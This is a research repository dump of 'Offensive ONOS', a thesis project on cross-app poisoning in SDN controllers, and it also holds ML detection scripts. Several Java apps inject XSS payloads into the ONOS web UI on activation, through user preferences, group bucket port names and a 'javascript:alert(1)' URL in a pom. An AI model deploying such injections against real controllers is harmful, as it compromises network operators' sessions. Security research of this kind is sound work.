47 | ${onos.version}
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 | org.apache.felix
56 | maven-bundle-plugin
57 |
58 |
59 | org.apache.felix
60 | maven-scr-plugin
61 |
62 |
63 | org.onosproject
64 | onos-maven-plugin
65 |
66 |
67 |
68 |
69 |
--------------------------------------------------------------------------------
/apps/trash/xss-host-tracking-app/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
17 |
18 | 4.0.0
19 |
20 |
21 | org.onosproject
22 | onos-dependencies
23 | 2.7.0
24 |
25 |
26 |
27 | onos-xsshosttracking
28 | 2.0.0-SNAPSHOT
29 | bundle
30 |
31 | XSS host tracking application
32 |
33 |
34 | 2.7.0
35 | org.onosproject.xsshosttracking
36 | edoardottt
37 | xsshosttracking App
38 | Monitoring
39 | http://onosproject.org
40 |
41 |
42 |
43 |
44 |
45 | org.onosproject
46 | onos-api
47 | ${onos.version}
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 | org.apache.felix
56 | maven-bundle-plugin
57 |
58 |
59 | org.apache.felix
60 | maven-scr-plugin
61 |
62 |
63 | org.onosproject
64 | onos-maven-plugin
65 |
66 |
67 |
68 |
69 |
--------------------------------------------------------------------------------
/apps/topoedit-app/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
17 |
18 | 4.0.0
19 |
20 |
21 | org.onosproject
22 | onos-dependencies
23 | 2.7.0
24 |
25 |
26 |
27 | Malicious Topology application
28 | http://onosproject.org
29 |
30 |
31 | 2.7.0
32 | org.onosproject.topoedit
33 | edoardottt
34 | topoedit App
35 | Monitoring
36 | http://onosproject.org
37 |
38 |
39 | onos-topoedit
40 | 2.0.0-SNAPSHOT
41 | bundle
42 |
43 |
44 |
45 |
46 |
47 | org.onosproject
48 | onos-api
49 | ${onos.version}
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 | org.apache.felix
58 | maven-bundle-plugin
59 |
60 |
61 | org.apache.felix
62 | maven-scr-plugin
63 |
64 |
65 | org.onosproject
66 | onos-maven-plugin
67 |
68 |
69 |
70 |
71 |
--------------------------------------------------------------------------------
/apps/impersonation-host-tracking-app/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
17 |
18 | 4.0.0
19 |
20 |
21 | org.onosproject
22 | onos-dependencies
23 | 2.7.0
24 |
25 |
26 |
27 | onos-impersonationhosttracking
28 | 2.0.0-SNAPSHOT
29 | bundle
30 |
31 | Test sample application
32 |
33 |
34 | 2.7.0
35 | org.onosproject.impersonationhosttracking
36 | edoardottt
37 | impersonationhosttracking App
38 | Monitoring
39 | http://onosproject.org
40 |
41 |
42 |
43 |
44 |
45 | org.onosproject
46 | onos-api
47 | ${onos.version}
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 | org.apache.felix
56 | maven-bundle-plugin
57 |
58 |
59 | org.apache.felix
60 | maven-scr-plugin
61 |
62 |
63 | org.onosproject
64 | onos-maven-plugin
65 |
66 |
67 |
68 |
69 |
--------------------------------------------------------------------------------
/apps/trash/xsspreferences-app/src/main/java/org/onosproject/xsspreferences/app/XssPreferences.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2022-present Open Networking Foundation
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | */
16 | package org.onosproject.xsspreferences.app;
17 |
18 | import org.osgi.service.component.annotations.Activate;
19 | import org.osgi.service.component.annotations.Component;
20 | import org.osgi.service.component.annotations.Deactivate;
21 | import org.osgi.service.component.annotations.Reference;
22 | import org.osgi.service.component.annotations.ReferenceCardinality;
23 | import org.onosproject.core.CoreService;
24 | import org.onosproject.ui.UiPreferencesService;
25 | import org.slf4j.Logger;
26 | import org.slf4j.LoggerFactory;
27 | import java.util.Set;
28 | import java.lang.System;
29 | import com.fasterxml.jackson.databind.node.ObjectNode;
30 | import com.fasterxml.jackson.databind.node.JsonNodeFactory;
31 |
32 | /**
33 | * XSS preferences POC Application
34 | */
35 | @Component(immediate = true)
36 | public class XssPreferences {
37 |
38 | private final Logger log = LoggerFactory.getLogger(getClass());
39 |
40 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
41 | protected CoreService coreService;
42 |
43 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
44 | protected UiPreferencesService uiPreferencesService;
45 |
46 | // --------------------------------------------------------
47 | // CHANGE THIS PARAMETER TO CHANGE VICTIM.
48 | // --------------------------------------------------------
49 | private static final String USERNAME = "onos";
50 |
51 | @Activate
52 | protected void activate() {
53 | coreService.registerApplication("org.edoardottt.xsspreferences.app", () -> log.info("Periscope down."));
54 | injectXss();
55 | log.info("Started xsspreferences App!");
56 | }
57 |
58 | @Deactivate
59 | protected void deactivate() {
60 | log.info("Stopped xsspreferences App!");
61 | }
62 |
63 | private void injectXss() {
64 | ObjectNode on = new ObjectNode(new JsonNodeFactory(true));
65 | uiPreferencesService.setPreference(USERNAME, "xss-poc" + "\"\"\"\"" + "}};window.alert(document.domain);//", on);
66 | }
67 | }
68 |
--------------------------------------------------------------------------------
/apps/xssdevice-app/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
17 |
18 | 4.0.0
19 |
20 |
21 | org.onosproject
22 | onos-dependencies
23 | 1.9.0
24 |
25 |
26 |
27 | onos-xssdevice
28 | 2.0.0-SNAPSHOT
29 | bundle
30 |
31 | Test sample application
32 |
33 |
34 | 1.9.0
35 | org.onosproject.xssdevice
36 | edoardottt
37 | xssdevice App
38 | Monitoring
39 | javascript:alert(1)
40 |
41 |
42 |
43 |
44 |
45 | org.onosproject
46 | onos-api
47 | ${onos.version}
48 |
49 |
50 |
51 | org.apache.felix
52 | org.apache.felix.scr.annotations
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 | org.apache.felix
61 | maven-bundle-plugin
62 |
63 |
64 | org.apache.felix
65 | maven-scr-plugin
66 |
67 |
68 | org.onosproject
69 | onos-maven-plugin
70 |
71 |
72 |
73 |
74 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Offensive ONOS
2 |
3 | My experiments in weaponizing [ONOS](https://github.com/opennetworkinglab/onos) applications.
4 | This is a part of research activity for my Cybersecurity M.Sc. Thesis ([link](https://github.com/edoardottt/master-degree-thesis/)), focused on detection of Cross App Poisoning Attacks in Software Defined Networks.
5 |
6 | **This research also led to discovery of [CVE-2023-24279](https://nvd.nist.gov/vuln/detail/CVE-2023-24279) and [CVE-2023-30093](https://nvd.nist.gov/vuln/detail/CVE-2023-30093)**.
7 |
8 | Useful papers to get context:
9 |
10 |
11 | - [Cross-App Poisoning in Software-Defined Networking](https://dl.acm.org/doi/10.1145/3243734.3243759)
12 | - [My Master's Degree Thesis](https://www.researchgate.net/publication/371491370_Proposal_and_Investigation_of_a_framework_for_Cross_App_Poisoning_attacks_detection_in_Software_Defined_Networks)
13 | - [Protecting Virtual Programmable Switches from Cross-App Poisoning (CAP) Attacks](https://ieeexplore.ieee.org/document/9789775)
14 | - [Classifying Poisoning Attacks in Software Defined Networking](https://ieeexplore.ieee.org/abstract/document/8920310)
15 | - [A Survey on Software Defined Networking: Architecture for Next Generation Network](https://arxiv.org/abs/2001.10165)
16 |
17 | ## Requirements
18 |
19 | - JVM 11+ ( )
20 | - Maven ( )
21 | - ONOS 2.7.0 ()
22 |
23 | In order to test the applications I've used Mininet to virtualize the data-plane, but it's optional ( ).
24 |
25 | ## Get Started
26 |
27 | Compile an ONOS application ready to be installed and activated
28 |
29 | ```console
30 | make -C apps/APP-NAME compile
31 | ```
32 |
33 | Search for .oar (ONOS archive) files
34 |
35 | ```console
36 | make oar
37 | ```
38 |
39 | See [this GitHub Gist](https://gist.github.com/edoardottt/a8717c7601a552a5deb832f598d6d288) to understand how to connect ONOS and a Mininet VM.
40 |
41 | ## Links
42 |
43 | - [ONOS Wiki](https://wiki.onosproject.org/display/ONOS/ONOS)
44 | - [ONOS 2.7.0 API Documentation](https://api.onosproject.org/2.7.0/apidocs/)
45 | - [Thomas Vachuska - Creating and deploying ONOS app (Youtube)](https://www.youtube.com/watch?v=mzQubYhJhro&ab_channel=ThomasVachuska)
46 | - [Introduction to Mininet](https://github.com/mininet/mininet/wiki/Introduction-to-Mininet)
47 |
48 | ## Changelog
49 |
50 | Detailed changes for each release are documented in the [release notes](https://github.com/edoardottt/offensive-onos-apps/releases).
51 |
52 | ## Contributing
53 |
54 | Just open an [issue](https://github.com/edoardottt/offensive-onos-apps/issues) / [pull request](https://github.com/edoardottt/offensive-onos-apps/pulls).
55 |
56 | -------
57 |
58 | [edoardottt.com](https://edoardottt.com/) to contact me.
59 |
--------------------------------------------------------------------------------
/tests/impersonation/impersonation-h2.pcap:
--------------------------------------------------------------------------------
1 | 02:01:14.548201 IP 10.0.0.1 > 10.0.0.4: ICMP echo request, id 1114, seq 1, length 64
2 | 02:01:14.697044 LLDP, length 125
3 | 02:01:14.697149 02:eb:69:28:3b:3a (oui Unknown) > Broadcast, ethertype Unknown (0x8942), length 139:
4 | 0x0000: 0207 0400 0000 0000 0204 0202 3206 0200 ............2...
5 | 0x0010: 78fe 12a4 2305 014f 4e4f 5320 4469 7363 x...#..ONOS.Disc
6 | 0x0020: 6f76 6572 79fe 17a4 2305 026f 663a 3030 overy...#..of:00
7 | 0x0030: 3030 3030 3030 3030 3030 3030 3032 fe0c 00000000000002..
8 | 0x0040: a423 0504 0000 0185 bf2c fcc0 fe24 a423 .#.......,...$.#
9 | 0x0050: 0505 0158 d283 90fb 6a94 b423 c8d3 67be ...X....j..#..g.
10 | 0x0060: a389 a64e 46ff f0c3 8070 9510 f0fb 3092 ...NF....p....0.
11 | 0x0070: f5cb 0807 7332 2d65 7468 3200 00 ....s2-eth2..
12 | 02:01:15.568491 IP 10.0.0.1 > 10.0.0.4: ICMP echo request, id 1114, seq 2, length 64
13 | 02:01:16.582898 IP 10.0.0.1 > 10.0.0.4: ICMP echo request, id 1114, seq 3, length 64
14 | 02:01:17.598314 IP 10.0.0.1 > 10.0.0.4: ICMP echo request, id 1114, seq 4, length 64
15 | 02:01:17.797621 LLDP, length 125
16 | 02:01:17.797645 02:eb:69:28:3b:3a (oui Unknown) > Broadcast, ethertype Unknown (0x8942), length 139:
17 | 0x0000: 0207 0400 0000 0000 0204 0202 3206 0200 ............2...
18 | 0x0010: 78fe 12a4 2305 014f 4e4f 5320 4469 7363 x...#..ONOS.Disc
19 | 0x0020: 6f76 6572 79fe 17a4 2305 026f 663a 3030 overy...#..of:00
20 | 0x0030: 3030 3030 3030 3030 3030 3030 3032 fe0c 00000000000002..
21 | 0x0040: a423 0504 0000 0185 bf2d 08dc fe24 a423 .#.......-...$.#
22 | 0x0050: 0505 4b69 e2b6 d6ec ca8d 92dc 737a 4108 ..Ki........szA.
23 | 0x0060: db95 18e1 fe26 077f b4a8 757a 3ec3 caa7 .....&....uz>...
24 | 0x0070: 73ca 0807 7332 2d65 7468 3200 00 s...s2-eth2..
25 | 02:01:18.690867 IP 10.0.0.1 > 10.0.0.4: ICMP echo request, id 1114, seq 5, length 64
26 | 02:01:19.585316 ARP, Request who-has 10.0.0.4 tell 10.0.0.1, length 28
27 | 02:01:19.710663 IP 10.0.0.1 > 10.0.0.4: ICMP echo request, id 1114, seq 6, length 64
28 | 02:01:20.613187 ARP, Request who-has 10.0.0.4 tell 10.0.0.1, length 28
29 | 02:01:20.738416 IP 10.0.0.1 > 10.0.0.4: ICMP echo request, id 1114, seq 7, length 64
30 | 02:01:20.896589 LLDP, length 125
31 | 02:01:20.896597 02:eb:69:28:3b:3a (oui Unknown) > Broadcast, ethertype Unknown (0x8942), length 139:
32 | 0x0000: 0207 0400 0000 0000 0204 0202 3206 0200 ............2...
33 | 0x0010: 78fe 12a4 2305 014f 4e4f 5320 4469 7363 x...#..ONOS.Disc
34 | 0x0020: 6f76 6572 79fe 17a4 2305 026f 663a 3030 overy...#..of:00
35 | 0x0030: 3030 3030 3030 3030 3030 3030 3032 fe0c 00000000000002..
36 | 0x0040: a423 0504 0000 0185 bf2d 14f8 fe24 a423 .#.......-...$.#
37 | 0x0050: 0505 2b10 cfc9 5a3b e249 d914 e925 1b66 ..+...Z;.I...%.f
38 | 0x0060: 6551 a012 f621 1ab8 1395 685c ab17 ffda eQ...!....h\....
39 | 0x0070: 9b4f 0807 7332 2d65 7468 3200 00 .O..s2-eth2..
40 | 02:01:21.638478 ARP, Request who-has 10.0.0.4 tell 10.0.0.1, length 28
41 |
--------------------------------------------------------------------------------
/onos-dm/auto-encoder.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | from pathlib import Path
3 | from typing import Iterable, Tuple
4 |
5 | import matplotlib.pyplot as plt
6 | import numpy as np
7 | import tensorflow.keras as keras
8 |
9 |
10 | def read_dataset() -> Iterable[Tuple[str, bool]]:
11 | path = Path("gistfile1.txt")
12 | with path.open("r", encoding="utf-8") as f:
13 | for line in f:
14 | line = line.strip()
15 | if not line:
16 | continue
17 | parts = line.split("\t", maxsplit=1)
18 | yield parts[0], parts[1] == "1"
19 |
20 |
21 | dataset = list(set(read_dataset()))
22 | max_len = max(len(x) for x, _ in dataset)
23 |
24 | # Shuffle the dataset
25 |
26 | np.random.shuffle(dataset)
27 |
28 | # Pad the dataset with spaces
29 |
30 |
31 | def left_pad_with(s: str, pad: str, length: int) -> str:
32 | assert len(pad) == 1
33 | return pad * (length - len(s)) + s
34 |
35 |
36 | padded = [(left_pad_with(x, "0", max_len), y) for x, y in dataset]
37 |
38 | alphabet = list(sorted(set("".join(x for x, _ in padded))))
39 |
40 |
41 | def one_hot_encode(s: str) -> np.ndarray:
42 | eye = np.eye(len(alphabet), dtype=np.float32)
43 | enc = np.array([eye[alphabet.index(c)] for c in s])
44 | return enc.flatten()
45 |
46 |
47 | X = np.array([one_hot_encode(x) for x, _ in padded])
48 | y = np.array([y for _, y in padded])
49 | labels = np.array([y for _, y in padded])
50 |
51 |
52 | class ResidualDense(keras.layers.Layer):
53 | def __init__(self, units: int, activation: str, **kwargs):
54 | super().__init__(**kwargs)
55 | self.units = units
56 | self.activation = activation
57 |
58 | def build(self, input_shape: Tuple[int, ...]) -> None:
59 | self.dense = keras.layers.Dense(self.units, activation=self.activation)
60 | self.res = keras.layers.Dense(self.units, activation="linear")
61 |
62 | def call(self, inputs: keras.layers.Layer) -> keras.layers.Layer:
63 | return self.res(inputs) + self.dense(inputs)
64 |
65 |
66 | encoder = keras.Sequential(
67 | [
68 | keras.layers.InputLayer(input_shape=(max_len * len(alphabet),)),
69 | ResidualDense(64, "relu"),
70 | ResidualDense(32, "relu"),
71 | ResidualDense(16, "relu"),
72 | ResidualDense(8, "relu"),
73 | ResidualDense(2, "relu"),
74 | ]
75 | )
76 |
77 | decoder = keras.Sequential(
78 | [
79 | ResidualDense(8, "relu"),
80 | ResidualDense(16, "relu"),
81 | ResidualDense(32, "relu"),
82 | ResidualDense(64, "relu"),
83 | ResidualDense(max_len * len(alphabet), "relu"),
84 | ]
85 | )
86 |
87 | autoencoder = keras.Sequential([encoder, decoder])
88 |
89 |
90 | autoencoder.compile(
91 | optimizer="adam",
92 | loss="mse",
93 | metrics=["mae", "mse"],
94 | )
95 |
96 |
97 | autoencoder.fit(X, X, epochs=128, batch_size=len(X) // 64, shuffle=True)
98 |
99 | # Project the data into the 2D space
100 |
101 | encoded = encoder.predict(X)
102 |
103 | # Plot the data
104 |
105 | plt.scatter(encoded[:, 0], encoded[:, 1], c=labels, s=3, cmap="jet", alpha=0.5)
106 | plt.show()
--------------------------------------------------------------------------------
/onos-dm/predict1.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | # -------- imports --------
4 |
5 | from datetime import datetime
6 | import sys
7 | import matplotlib.pyplot as plt
8 | import numpy as np
9 | from sklearn.linear_model import LogisticRegression
10 | from sklearn.metrics import classification_report, confusion_matrix
11 |
12 | # -------- global variables --------
13 |
14 | directory = "/home/edoardottt/cybersecurity/thesis/onos-ml/data/"
15 | training_out_file = "training-data.txt"
16 | test_out_file = "test-data.txt"
17 | training_out_file_ml = "training-data-ml.txt"
18 | test_out_file_ml = "test-data-ml.txt"
19 |
20 |
21 | # -------- training --------
22 |
23 |
24 | def read_file(filename, limit):
25 | x = np.zeros((0, 50))
26 | y = np.zeros((0, 1))
27 | count = 0
28 | with open(directory + filename, "r") as f:
29 | lines = f.readlines()
30 | for line in lines:
31 | count += 1
32 | first_input = [int(x) for x in line.split("\t")[0]]
33 | first_input_np = np.array(first_input)
34 | x = np.append(x, [first_input_np], axis=0)
35 | second_input = [int(line.split("\t")[1])]
36 | second_input_np = np.array(second_input)
37 | y = np.append(y, [second_input_np], axis=None)
38 | print("Read {}/{} lines".format(count, limit), flush=True, end="\r")
39 | sys.stdout.flush()
40 | if count >= limit:
41 | break
42 |
43 | print("", flush=True, end="\n")
44 |
45 | return x, y
46 |
47 |
48 | def plt_cm(cm):
49 | fig, ax = plt.subplots(figsize=(8, 8))
50 | ax.imshow(cm)
51 | ax.grid(False)
52 | ax.xaxis.set(ticks=(0, 1), ticklabels=("Predicted 0s", "Predicted 1s"))
53 | ax.yaxis.set(ticks=(0, 1), ticklabels=("Actual 0s", "Actual 1s"))
54 | ax.set_ylim(1.5, -0.5)
55 | for i in range(2):
56 | for j in range(2):
57 | ax.text(j, i, cm[i, j], ha="center", va="center", color="red")
58 | plt.show()
59 |
60 |
61 | # -------- main --------
62 |
63 | if __name__ == "__main__":
64 | # start time
65 | start_time = datetime.now().strftime("%H:%M:%S")
66 | # convert time string to datetime
67 | t1 = datetime.strptime(str(start_time), "%H:%M:%S")
68 | print("Start time:", t1.time())
69 |
70 | x, y = read_file(training_out_file_ml, 200000)
71 |
72 | model = LogisticRegression(solver="newton-cg", random_state=0)
73 |
74 | model.fit(x, y)
75 |
76 | print("Model intercept: " + str(model.intercept_))
77 |
78 | print("Model coef: " + str(model.coef_))
79 |
80 | print(" ----------- Train data -----------")
81 |
82 | print("Model score: " + str(model.score(x, y)))
83 |
84 | print("Model confusion matrix: ")
85 | cm = confusion_matrix(y, model.predict(x))
86 | print(cm)
87 |
88 | # plt_cm(cm)
89 |
90 | print(" ----------- Test data -----------")
91 |
92 | x2, y2 = read_file(test_out_file_ml, 40000)
93 |
94 | print("Model score: " + str(model.score(x2, y2)))
95 |
96 | print("Model confusion matrix: ")
97 | cm = confusion_matrix(y2, model.predict(x2))
98 | print(cm)
99 |
100 | end_time = datetime.now().strftime("%H:%M:%S")
101 | t2 = datetime.strptime(str(end_time), "%H:%M:%S")
102 | print("End time:", t2.time())
103 |
104 | # get difference
105 | delta = t2 - t1
106 |
107 | # time difference in seconds
108 | print(f"Time difference is {delta.total_seconds()} seconds")
109 |
--------------------------------------------------------------------------------
/apps/trash/xss-group-app/src/main/java/org/onosproject/xssgroup-app/XssGroup.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2022-present Open Networking Foundation
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | */
16 | package org.onosproject.xssgroup;
17 |
18 | import org.osgi.service.component.annotations.Activate;
19 | import org.osgi.service.component.annotations.Component;
20 | import org.osgi.service.component.annotations.Deactivate;
21 | import org.osgi.service.component.annotations.Reference;
22 | import org.osgi.service.component.annotations.ReferenceCardinality;
23 | import org.slf4j.Logger;
24 | import org.slf4j.LoggerFactory;
25 | import org.onosproject.core.CoreService;
26 | import org.onosproject.net.group.GroupStore;
27 | import org.onosproject.net.group.GroupDescription;
28 | import org.onosproject.net.group.GroupDescription.Type;
29 | import org.onosproject.net.group.GroupBuckets;
30 | import org.onosproject.net.group.GroupBucket;
31 | import org.onosproject.net.group.DefaultGroup;
32 | import org.onosproject.net.group.DefaultGroupBucket;
33 | import org.onosproject.core.GroupId;
34 | import org.onosproject.net.Device;
35 | import org.onosproject.net.DeviceId;
36 | import org.onosproject.net.device.DeviceService;
37 | import org.onosproject.net.flow.TrafficTreatment;
38 | import org.onosproject.net.flow.DefaultTrafficTreatment;
39 | import org.onosproject.net.PortNumber;
40 | import java.util.ArrayList;
41 | import java.util.List;
42 |
43 | /**
44 | * XSS group POC application
45 | */
46 | @Component(immediate = true)
47 | public class XssGroup {
48 |
49 | private final Logger log = LoggerFactory.getLogger(getClass());
50 |
51 | private final String PAYLOAD = "\"";
52 |
53 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
54 | protected CoreService coreService;
55 |
56 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
57 | protected DeviceService deviceService;
58 |
59 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
60 | protected GroupStore groupStore;
61 |
62 | @Activate
63 | protected void activate() {
64 | coreService.registerApplication("org.edoardottt.xssgroup.app", () -> log.info("Periscope down."));
65 | injectXss();
66 | log.info("Started xssgroup App!");
67 | }
68 |
69 | @Deactivate
70 | protected void deactivate() {
71 | log.info("Stopped xssgroup App!");
72 | }
73 |
74 | private void injectXss() {
75 | Iterable devices = deviceService.getDevices();
76 | DeviceId s1 = devices.iterator().next().id();
77 | log.info("xssgroup App: Victim Switch {}", s1);
78 | TrafficTreatment treatment = DefaultTrafficTreatment.emptyTreatment();
79 | PortNumber watchPort = PortNumber.portNumber(1337, PAYLOAD);
80 | GroupId watchGroup = new GroupId(1);
81 | GroupBucket bucket = DefaultGroupBucket.createFailoverGroupBucket(treatment, watchPort, watchGroup);
82 | log.info("xssgroup App: Crafted Bucket Payload {}", bucket.watchPort().toString());
83 | List buckets = new ArrayList();
84 | buckets.add(bucket);
85 | GroupBuckets gb = new GroupBuckets(buckets);
86 | log.info("xssgroup App: Crafted Buckets Payload {}", buckets);
87 | DefaultGroup dg = new DefaultGroup(watchGroup, s1, GroupDescription.Type.FAILOVER, gb);
88 | groupStore.addOrUpdateGroupEntry(dg);
89 | log.info("xssgroup App: Payload Injected!", buckets);
90 | }
91 | }
92 |
--------------------------------------------------------------------------------
/onos-dm/predict2.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | # -------- imports --------
4 |
5 | from datetime import datetime
6 | import sys
7 | import matplotlib.pyplot as plt
8 | import numpy as np
9 |
10 | from sklearn.neighbors import KNeighborsClassifier
11 | from sklearn import datasets, neighbors
12 | from sklearn.metrics import classification_report, confusion_matrix
13 | from mlxtend.plotting import plot_decision_regions
14 |
15 | # -------- global variables --------
16 |
17 | directory = "/home/edoardottt/cybersecurity/thesis/onos-ml/data/"
18 | training_out_file = "training-data.txt"
19 | test_out_file = "test-data.txt"
20 | training_out_file_ml = "training-data-ml.txt"
21 | test_out_file_ml = "test-data-ml.txt"
22 |
23 |
24 | # -------- training --------
25 |
26 |
27 | def read_file(filename, limit):
28 | x = np.zeros((0, 50))
29 | y = np.zeros((0, 1))
30 | count = 0
31 | with open(directory + filename, "r") as f:
32 | lines = f.readlines()
33 | for line in lines:
34 | count += 1
35 | first_input = [int(x) for x in line.split("\t")[0]]
36 | first_input_np = np.array(first_input)
37 | x = np.append(x, [first_input_np], axis=0)
38 | second_input = [int(line.split("\t")[1])]
39 | second_input_np = np.array(second_input)
40 | y = np.append(y, [second_input_np], axis=None)
41 | print("Read {}/{} lines".format(count, limit), flush=True, end="\r")
42 | sys.stdout.flush()
43 | if count >= limit:
44 | break
45 |
46 | print("", flush=True, end="\n")
47 |
48 | return x, y
49 |
50 |
51 | def plt_cm(cm):
52 | fig, ax = plt.subplots(figsize=(8, 8))
53 | ax.imshow(cm)
54 | ax.grid(False)
55 | ax.xaxis.set(ticks=(0, 1), ticklabels=("Predicted 0s", "Predicted 1s"))
56 | ax.yaxis.set(ticks=(0, 1), ticklabels=("Actual 0s", "Actual 1s"))
57 | ax.set_ylim(1.5, -0.5)
58 | for i in range(2):
59 | for j in range(2):
60 | ax.text(j, i, cm[i, j], ha="center", va="center", color="red")
61 | plt.show()
62 |
63 |
64 | # -------- main --------
65 |
66 | if __name__ == "__main__":
67 | # start time
68 | start_time = datetime.now().strftime("%H:%M:%S")
69 | # convert time string to datetime
70 | t1 = datetime.strptime(str(start_time), "%H:%M:%S")
71 | print("Start time:", t1.time())
72 |
73 | print(" ----------- Training data -----------")
74 |
75 | x, y = read_file(training_out_file_ml, 200000)
76 |
77 | clf = KNeighborsClassifier(n_neighbors=3)
78 |
79 | clf.fit(x, y)
80 |
81 | # print("Model intercept: " + str(clf.intercept_))
82 |
83 | # print("Model coef: " + str(clf.coef_))
84 |
85 | print("Model score: " + str(clf.score(x, y)))
86 |
87 | print("Model confusion matrix: ")
88 | cm = confusion_matrix(y, clf.predict(x))
89 | print(cm)
90 |
91 | # plt_cm(cm)
92 |
93 | print(" ----------- Test data -----------")
94 |
95 | x2, y2 = read_file(test_out_file_ml, 40000)
96 |
97 | print("Model score: " + str(clf.score(x2, y2)))
98 |
99 | print("Model confusion matrix: ")
100 | cm = confusion_matrix(y2, clf.predict(x2))
101 | print(cm)
102 |
103 | # plot_decision_regions(x2, y2.astype(np.int_), clf=clf, legend=2)
104 |
105 | # Adding axes annotations
106 | # plt.xlabel("X")
107 | # plt.ylabel("Y")
108 | # plt.title("Knn with K=" + str(3))
109 | # plt.show()
110 |
111 | end_time = datetime.now().strftime("%H:%M:%S")
112 | t2 = datetime.strptime(str(end_time), "%H:%M:%S")
113 | print("End time:", t2.time())
114 |
115 | # get difference
116 | delta = t2 - t1
117 |
118 | # time difference in seconds
119 | print(f"Time difference is {delta.total_seconds()} seconds")
120 |
121 |
122 | """
123 | df = pd.DataFrame(columns=["x", "y", "vx", "vy"])
124 |
125 | toPredict = df.append(
126 | {"x": ball.x, "y": ball.y, "vx": ball.vx, "vy": ball.vy}, ignore_index=True
127 | )
128 | shouldMove = clf.predict(toPredict)
129 | """
130 |
--------------------------------------------------------------------------------
/apps/IpAddressPoolStore.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2015-present Open Networking Foundation
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | */
16 |
17 | package org.onosproject.security;
18 |
19 | import org.osgi.service.component.annotations.Activate;
20 | import org.osgi.service.component.annotations.Component;
21 | import org.osgi.service.component.annotations.Deactivate;
22 | import org.osgi.service.component.annotations.Reference;
23 | import org.osgi.service.component.annotations.ReferenceCardinality;
24 | import org.slf4j.Logger;
25 | import org.slf4j.LoggerFactory;
26 |
27 | import java.security.AllPermission;
28 | import java.util.concurrent.ConcurrentHashMap;
29 | import java.util.Map;
30 | import java.util.Random;
31 | import java.io.File;
32 | import java.io.BufferedWriter;
33 | import java.io.PrintWriter;
34 | import java.io.FileWriter;
35 | import java.io.IOException;
36 | import java.util.Date;
37 |
38 | import static org.slf4j.LoggerFactory.getLogger;
39 |
40 | /**
41 | * Manages the inventory of application keys.
42 | */
43 | @Component(immediate = true, service = IpAddressPoolStore.class)
44 | public class IpAddressPoolStore {
45 |
46 | private final Logger log = LoggerFactory.getLogger(getClass());
47 |
48 | private final String LOGFILENAME = "/home/edoardottt/cybersecurity/thesis/onos-ipsat.log";
49 |
50 | private ConcurrentHashMap ipStore;
51 |
52 | @Activate
53 | public void activate() {
54 | ipStore = new ConcurrentHashMap();
55 |
56 | for (int i = 5; i < 100; i++) {
57 | ipStore.put(i, false);
58 | }
59 |
60 | log.info("Started");
61 | }
62 |
63 | @Deactivate
64 | public void deactivate() {
65 | ipStore.clear();
66 |
67 | log.info("Stopped");
68 | }
69 |
70 | public void ipTaken(int ip) {
71 | ipStore.put(ip, true);
72 |
73 | log.info("Ip Address {} Taken!", "10.0.0." + String.valueOf(ip));
74 |
75 | ipStoreSaturated();
76 | }
77 |
78 | private boolean ipStoreSaturated() {
79 | for (int i : ipStore.keySet()) {
80 | if (!ipStore.get(i)) {
81 | return false;
82 | }
83 | }
84 |
85 | log.info("IP STORE SATURATED!");
86 |
87 | return true;
88 | }
89 |
90 | private void log(String appName, String appKey, String content) {
91 | long timeMilli = new Date().getTime();
92 |
93 | try {
94 | createFile();
95 | FileWriter fw = new FileWriter(LOGFILENAME, true);
96 | BufferedWriter bw = new BufferedWriter(fw);
97 | PrintWriter out = new PrintWriter(bw);
98 | out.println(timeMilli + " " + appName + " " + content + "\n");
99 | out.close();
100 | log.info("ONOS-LOG | Successfully wrote to file!");
101 | } catch (IOException e) {
102 | log.info("ONOS-LOG | Error while writing to file {}", LOGFILENAME);
103 | e.printStackTrace();
104 | }
105 | }
106 |
107 | private File createFile() {
108 | try {
109 | File myObj = new File(LOGFILENAME);
110 | if (!myObj.exists()) {
111 | myObj.createNewFile();
112 | }
113 | return myObj;
114 | } catch (Exception e) {
115 | log.info("ONOS-LOG | Error while creating file {}", LOGFILENAME);
116 | e.printStackTrace();
